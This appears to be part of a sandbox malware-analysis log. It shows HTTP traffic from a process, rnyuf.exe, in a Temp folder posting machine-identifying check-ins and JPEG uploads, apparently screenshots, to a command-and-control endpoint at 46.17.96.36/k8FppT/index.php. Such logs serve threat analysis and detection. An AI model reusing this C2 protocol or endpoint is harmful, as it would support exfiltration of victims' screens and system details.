Aug 29, 2021 22:27:09.378770113 CEST	1098	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:09.378873110 CEST	1099	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:27:09.379040003 CEST	1104	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:27:09.413585901 CEST	1201	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:09.524126053 CEST	1448	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49765	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:23.817351103 CEST	4257	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:23.817470074 CEST	4258	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:23.817641973 CEST	4268	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:23.817718983 CEST	4270	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:23.853312969 CEST	4276	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:23.853751898 CEST	4279	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:23.853971004 CEST	4296	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:23.892798901 CEST	4298	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:23.893121958 CEST	4301	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:23.893268108 CEST	4304	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:27:23.893659115 CEST	4307	OUT	Data Raw: e1 0a 50 29 45 2d 32 4b 3a 7b 2c 57 d1 bb b0 55 19 c9 3f 43 5d 64 37 b7 97 1a 7b da c1 73 3c b6 48 c1 de 24 90 98 d5 8f 42 40 e0 1e 0f 3e d5 c4 9a ed be 1e fc 41 ff 00 84 13 fb 47 fe 25 7f 6e fb 6f 95 ff 00 2f 1e 56 cd 9b ff 00 d9 6c e7 7f b7 4a Data Ascii: P)E-2K:{,WU?C]d7{s<H$B@>AG%no/VlJ)j:QI/ntMb^.$N\E:x\|nTc#RIUZcN1s^jay'P{l3xD!\|8;RIU
Aug 29, 2021 22:27:24.002857924 CEST	4365	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.4	50039	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:04.018115997 CEST	18144	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:04.115389109 CEST	18145	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.2.4	50040	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:04.296751976 CEST	18145	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:04.366585016 CEST	18146	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.4	50041	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:04.395787001 CEST	18146	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----cc6e581ce94a2c7e20266147ae0a1079 Host: 46.17.96.36 Content-Length: 111522 Cache-Control: no-cache
Aug 29, 2021 22:29:04.395872116 CEST	18146	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 63 36 65 35 38 31 63 65 39 34 61 32 63 37 65 32 30 32 36 36 31 34 37 61 65 30 61 31 30 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------cc6e581ce94a2c7e20266147ae0a1079Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:04.396039963 CEST	18156	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:04.396184921 CEST	18159	OUT	Data Raw: 00 3f b3 ff 00 df 29 ff 00 c4 d0 05 8a 2a bf d9 a5 ff 00 9f d9 ff 00 ef 94 ff 00 e2 69 05 b4 bf f3 fb 3f fd f2 9f fc 4d 00 59 a4 aa e6 da 5f f9 fd 9f fe f9 4f fe 26 83 6d 2f fc fe cf ff 00 7c a7 ff 00 13 40 16 28 aa ff 00 66 97 fe 7f 67 ff 00 be Data Ascii: ?)*i?MY_O&m/\|@(fgS4X/7Ekd.?@)q\/RbRLSF)1E;QK1EqF))&(-%7b`%R7ZZ1HchR,A
Aug 29, 2021 22:29:04.431447029 CEST	18162	OUT	Data Raw: 90 78 3d 3b fd 6a dd bf 8a 3c 25 ac dc 8d 2c 08 5f cc 3b 11 65 b7 c2 39 ec 06 47 e5 54 b0 f0 8d d3 4e 4d 6f 6d 97 e0 ff 00 43 27 88 9c ac d3 51 4f 6b ee ff 00 15 fa 9a 92 c7 73 70 d7 0f 6b 0d a5 d5 a5 c9 0e 19 a7 c0 61 b1 57 b2 90 47 1e b5 f3 47 Data Ascii: x=;j<%,_;e9GTNMomC'QOkspkaWGG1^5TxVzVDzv;czz%_JT3OjGQEQE\|;a;o5m}}_o<UVg)uI@*5]x[u
Aug 29, 2021 22:29:04.431521893 CEST	18167	OUT	Data Raw: 67 e0 7b eb 59 fc 3b 73 75 a8 ea 77 76 52 4f a9 4f 27 fa 3b b0 de 4a 44 4e 70 0f 4c fe b5 d1 fd ab 44 ff 00 a1 9b 57 ff 00 bf 8f ff 00 c4 56 1f c2 df ed 3f f8 44 66 fe ce fb 27 fc 7f c9 e6 7d a3 77 fc f3 8f 18 db f8 d7 6b ff 00 15 37 fd 42 3f f2 Data Ascii: g{Y;suwvROO';JDNpLDWV?Df'}wk7B?%y#U_xz4?\|_^OOhA_'w~^fe_tQEtQ@%PRS(J3@QH)h(4v!M3M\,k;3Lgn8
Aug 29, 2021 22:29:04.431730032 CEST	18178	OUT	Data Raw: 59 03 75 ad a6 b9 a3 63 18 bb 3b 9d ae a3 a2 eb 7a cc 5a 24 5e 1b fb 4e a9 05 98 78 4c b6 24 b8 4b af 39 f7 48 e4 7d c2 c3 cb 60 ed 8c 8c 73 f2 f1 d0 9b fd 33 ed 50 5c 21 61 75 ff 00 09 1d c1 b2 9e 39 42 c0 2e 84 30 f3 20 c6 5a 36 97 a9 0c bc 1c Data Ascii: Yuc;zZ$^NxL$K9H}`s3P\!au9B.0 Z6\2S\jWMu]]0Ms]3eV=5;{#{[M@l.L4O/\|#}i`M$@O}1RP2NuJ&TK
Aug 29, 2021 22:29:04.431901932 CEST	18179	OUT	Data Raw: 42 47 d4 45 bc 4a 8a d6 e6 3f 37 3c 74 ff 00 55 28 1d 86 e0 06 06 05 3a 23 6d fd 87 1e be 34 eb 26 ba 8b 4a 6b 95 80 c0 3c af 31 ef a4 8f 7b 26 30 c1 14 80 01 e3 85 c8 20 62 b9 b5 d5 f5 48 ce a0 63 bc 31 ff 00 68 c7 e5 5d 2a 22 aa c8 99 07 6e 00 Data Ascii: BGEJ?7<tU(:#m4&Jk<1{&0 bHc1h]"n1:qIkvRow5JcVS33#)u%QiF^Y-k}mc9mEmF$HcI'uPq s=IuR!ImXq9T#LErvnVu
Aug 29, 2021 22:29:04.431946039 CEST	18185	OUT	Data Raw: 85 2b 37 03 45 32 93 47 51 b4 75 79 92 a2 31 d6 4e 99 a4 6a 14 4a 53 19 2a e9 8e a2 68 eb 37 03 68 d4 29 95 a6 11 56 59 6a 32 b5 8c a2 6a a4 42 45 26 2a 52 b4 c2 2a 1a 2d 31 94 62 97 14 62 a6 c5 0d c5 28 14 62 96 8b 00 86 9b de 9d 8a 4c 73 40 15 Data Ascii: +7E2GQuy1NjJSh7h)VYj2jBE&R-1bb(bLs@Ke8V&Bz$Mw%>[Ks4nh_d$)V5uRv2F17XM8oLm4G{}It=[k/ewl:sO\3$p
Aug 29, 2021 22:29:04.467305899 CEST	18187	OUT	Data Raw: 04 8b db 34 72 b1 f3 a6 45 8a 50 29 db 48 ea 0f e5 45 16 15 c4 02 96 94 52 81 4c 42 62 97 14 b4 b8 a7 62 6e 20 14 b8 a5 a5 02 aa c2 b8 52 d1 4b 8a 62 12 9c 28 c5 38 0a 68 96 c2 96 8c 52 81 4c 90 02 9d 48 05 38 53 13 0a 31 4e c5 18 a6 48 94 a2 92 Data Ascii: 4rEP)HERLBbbn RKb(8hRLH8S1NHh@R3@X4y(4sJ;NJ\Kjxz\K!zxzFnPINI'Q]iJTGj/r-XP~M\0SOW:-_YR0[{
Aug 29, 2021 22:29:04.467364073 CEST	18198	OUT	Data Raw: a0 d6 8f 5b 7e 9f e6 72 87 42 bf 36 53 df 47 0a fd 95 1a 42 9b e7 8d 64 74 46 da 59 63 24 3b 28 39 cb 2a 90 30 7d 0e 33 6b a1 6f 18 dc 5c 78 6d 74 89 c6 ab 08 8d 66 8d 3e c7 a9 98 a0 75 77 2f 89 61 d8 43 90 58 8c 82 b9 18 07 a6 6b 9d 1d 2b 4a 2e Data Ascii: [~rB6SGBdtFYc$;(9*0}3ko\xmtf>uw/aCXk+J.m{VPOE-lbthr202B~Pz5,cG_,B@KtOQ&HS$c[wv&Qhax`1c6yU=6oI_
Aug 29, 2021 22:29:04.577579021 CEST	18260	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.4	50042	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:04.552432060 CEST	18259	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:04.623897076 CEST	18260	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.4	50043	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:04.848567963 CEST	18261	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:29:04.923625946 CEST	18350	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:29:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.4	50044	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:29:04.850858927 CEST	18261	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----8072a178dbdc6167b19235baefba2abc Host: 46.17.96.36 Content-Length: 107132 Cache-Control: no-cache
Aug 29, 2021 22:29:04.850938082 CEST	18261	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 30 37 32 61 31 37 38 64 62 64 63 36 31 36 37 62 31 39 32 33 35 62 61 65 66 62 61 32 61 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------8072a178dbdc6167b19235baefba2abcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:29:04.851093054 CEST	18271	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:29:04.851170063 CEST	18274	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:29:04.886976004 CEST	18277	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:29:04.887034893 CEST	18285	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:29:04.887059927 CEST	18294	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:29:04.887082100 CEST	18300	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:29:04.922856092 CEST	18303	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:29:04.922928095 CEST	18326	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
